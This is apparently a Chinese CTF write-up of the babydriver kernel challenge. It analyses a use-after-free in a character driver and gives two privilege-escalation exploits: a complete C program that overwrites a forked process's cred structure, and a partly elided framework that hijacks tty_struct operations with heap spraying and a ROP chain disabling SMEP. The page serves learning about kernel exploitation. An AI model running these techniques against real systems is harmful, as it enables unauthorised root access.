内核堆(babydriver的两种解法)
字数 1369 2025-12-19 12:11:52
内核堆漏洞利用:babydriver的两种解法详解
题目概述
babydriver是一个经典的内核堆漏洞利用题目,涉及UAF(Use-After-Free)漏洞。题目实现了一个字符设备驱动,存在全局变量共享问题,导致可以利用UAF漏洞进行权限提升。
驱动功能分析
关键数据结构
驱动使用全局结构体babydev_struct:
struct babydev_struct {
char *device_buf;
size_t device_buf_len;
};
驱动函数分析
babyioctl函数:
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t size = arg;
if (command == 0x10001) {
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(size, 0x24000C0);
babydev_struct.device_buf_len = size;
return 0;
}
return -22;
}
- 释放原有缓冲区并重新分配指定大小的内存
- 更新全局指针和长度
babywrite函数:
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
if (!babydev_struct.device_buf) return -1;
if (babydev_struct.device_buf_len > length) {
copy_from_user(babydev_struct.device_buf, buffer, length);
return length;
}
return -2;
}
- 将用户态数据拷贝到内核缓冲区
babyread函数:
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
if (!babydev_struct.device_buf) return -1;
if (babydev_struct.device_buf_len > length) {
copy_to_user(buffer, babydev_struct.device_buf, length);
return length;
}
return -2;
}
- 将内核缓冲区数据拷贝到用户态
babyopen函数:
int __fastcall babyopen(inode *inode, file *filp)
{
babydev_struct.device_buf = kmalloc(64, GFP_KERNEL);
babydev_struct.device_buf_len = 64;
return 0;
}
- 分配64字节的堆缓冲区
babyrelease函数:
int __fastcall babyrelease(inode *inode, file *filp)
{
kfree(babydev_struct.device_buf); // UAF漏洞点
return 0;
}
- 释放缓冲区但未清空全局指针
漏洞原理
UAF漏洞产生
- 打开设备时分配堆内存并设置全局指针
- 关闭设备时释放堆内存但不清空指针
- 后续操作仍可通过全局指针访问已释放的内存
关键利用点
- 全局变量
babydev_struct被所有文件描述符共享 - 关闭设备后全局指针仍指向已释放的内存
- 通过堆喷技术控制释放后的内存内容
解法一:cred结构体劫持
利用原理
通过UAF漏洞覆盖新进程的cred结构体,将uid/gid改为0实现提权。
详细步骤
- 打开两个设备描述符
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
fd1打开:分配内存A,全局指针指向Afd2打开:分配内存B,全局指针指向B(覆盖A)
- 调整堆块大小
ioctl(fd1, 0x10001, 0xa8);
- 释放内存B
- 重新分配0xa8字节的内存C(与cred结构体大小相同)
- 全局指针指向C
- 释放堆块
close(fd1);
- 释放内存C
- 此时全局指针仍指向已释放的内存C
- 创建新进程
fork();
- 新进程的cred结构体分配在内存C的位置
- 由于内存C已被释放且被重用,新进程的cred与内存C重叠
- 修改cred
char buf[0x30];
memset(buf, 0, 0x30);
write(fd2, buf, 0x30);
- 通过
fd2写入数据,实际修改的是内存C的内容 - 由于内存C现在是新进程的cred,修改其uid/gid为0
- 获取root权限
system("/bin/sh");
完整利用代码
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <unistd.h>
int main() {
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, 0x10001, 0xa8);
close(fd1);
if (fork() == 0) {
char buf[0x30];
memset(buf, 0, 0x30);
write(fd2, buf, sizeof(buf));
if (getuid() == 0) {
system("/bin/sh");
}
exit(0);
}
wait(NULL);
return 0;
}
解法二:tty结构体劫持
利用原理
通过UAF漏洞劫持tty结构体的操作函数指针,控制内核执行流实现提权。
关键数据结构
tty_struct结构体:
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops; // 关键:操作函数表指针
// ... 其他字段
};
tty_operations结构体:
struct tty_operations {
int (*open)(struct tty_struct *tty, struct file *filp);
void (*close)(struct tty_struct *tty, struct file *filp);
int (*write)(struct tty_struct *tty, const unsigned char *buf, int count);
int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg);
// ... 其他函数指针
};
利用步骤
- 准备ROP链
size_t swapgs = 0xffffffff81063694;
size_t iretq = 0xffffffff814e35ef;
size_t p_rdi = 0xffffffff810d238d;
size_t write_cr4 = 0xffffffff810635b0;
u64 ROP[0x30];
int i = 0;
ROP[i++] = p_rdi;
ROP[i++] = 0x6f0; // 原始cr4值
ROP[i++] = write_cr4; // 关闭SMEP
ROP[i++] = (u64)getroot; // 提权函数
ROP[i++] = swapgs; // 切换GS寄存器
ROP[i++] = iretq; // 返回用户态
// ... 用户态寄存器值
- 打开设备并触发UAF
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd2, 0x10001, 0x2e0); // 分配tty大小
close(fd2); // 释放堆块
- 伪造tty_operations
struct _tty_operations tty_operations;
tty_operations.ioctl = xchg_esp_eax; // 栈迁移gadget
- 堆喷tty对象
int tty_fds[100];
for (int i = 0; i < 100; i++) {
tty_fds[i] = open("/dev/ptmx", O_RDWR);
}
- 修改释放的堆块
char buff[0x1000];
read(fd1, buff, 0x40); // 读取释放的堆块内容
*(u64 *)(buff + 3*8) = (u64)&tty_operations; // 修改ops指针
write(fd1, buff, 0x40); // 写回修改后的内容
- 触发漏洞
for (int i = 0; i < 100; i++) {
ioctl(tty_fds[i], 0, 0); // 触发ioctl,执行ROP链
}
完整利用代码框架
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
// 保存用户态寄存器
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status() {
asm volatile(
"mov %%cs, %0;"
"mov %%ss, %1;"
"mov %%rsp, %2;"
"pushf; pop %3;"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags)
:
: "memory"
);
}
// 提权函数
void getroot() {
void (*commit_creds)(void *) = (void *)0xffffffff810a1420;
void *(*prepare_kernel_cred)(void *) = (void *)0xffffffff810a1810;
commit_creds(prepare_kernel_cred(0));
}
void get_shell() {
if (getuid() == 0) {
printf("[+] Root shell achieved!
");
system("/bin/sh");
} else {
printf("[-] Failed to get root
");
exit(-1);
}
}
int main() {
save_status();
// 打开设备
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
// 触发UAF
ioctl(fd2, 0x10001, 0x2e0);
close(fd2);
// 准备ROP链
u64 ROP[0x50];
int i = 0;
// ... ROP链构造
// 堆喷和利用
// ... 完整利用代码
return 0;
}
关键技术点
堆布局控制
- 大小匹配:精确控制分配的内存大小与目标结构体一致
- 时序控制:通过文件描述符操作顺序控制堆布局
- 堆喷技术:大量分配对象增加命中概率
绕过保护机制
- SMEP绕过:通过ROP链修改CR4寄存器
- KASLR绕过:通过内核符号泄露或暴力猜测
- 堆随机化:通过大量堆喷提高成功率
调试技巧
- 内核符号获取:
cat /proc/kallsyms > /tmp/kallsyms
- QEMU启动优化:添加
quiet参数加快启动 - 调试信息打印:通过
printk或用户态-内核态通信调试
总结
babydriver题目展示了内核堆漏洞利用的经典技术:
- UAF漏洞的识别和利用
- 内核对象布局控制
- 函数指针劫持和ROP技术
- 多种提权路径的选择
两种解法各有特点:
- cred劫持:简单直接,适合初学者理解UAF原理
- tty劫持:技术含量更高,展示了更复杂的内核利用技术
通过深入分析这两种解法,可以全面掌握内核堆漏洞利用的关键技术和方法。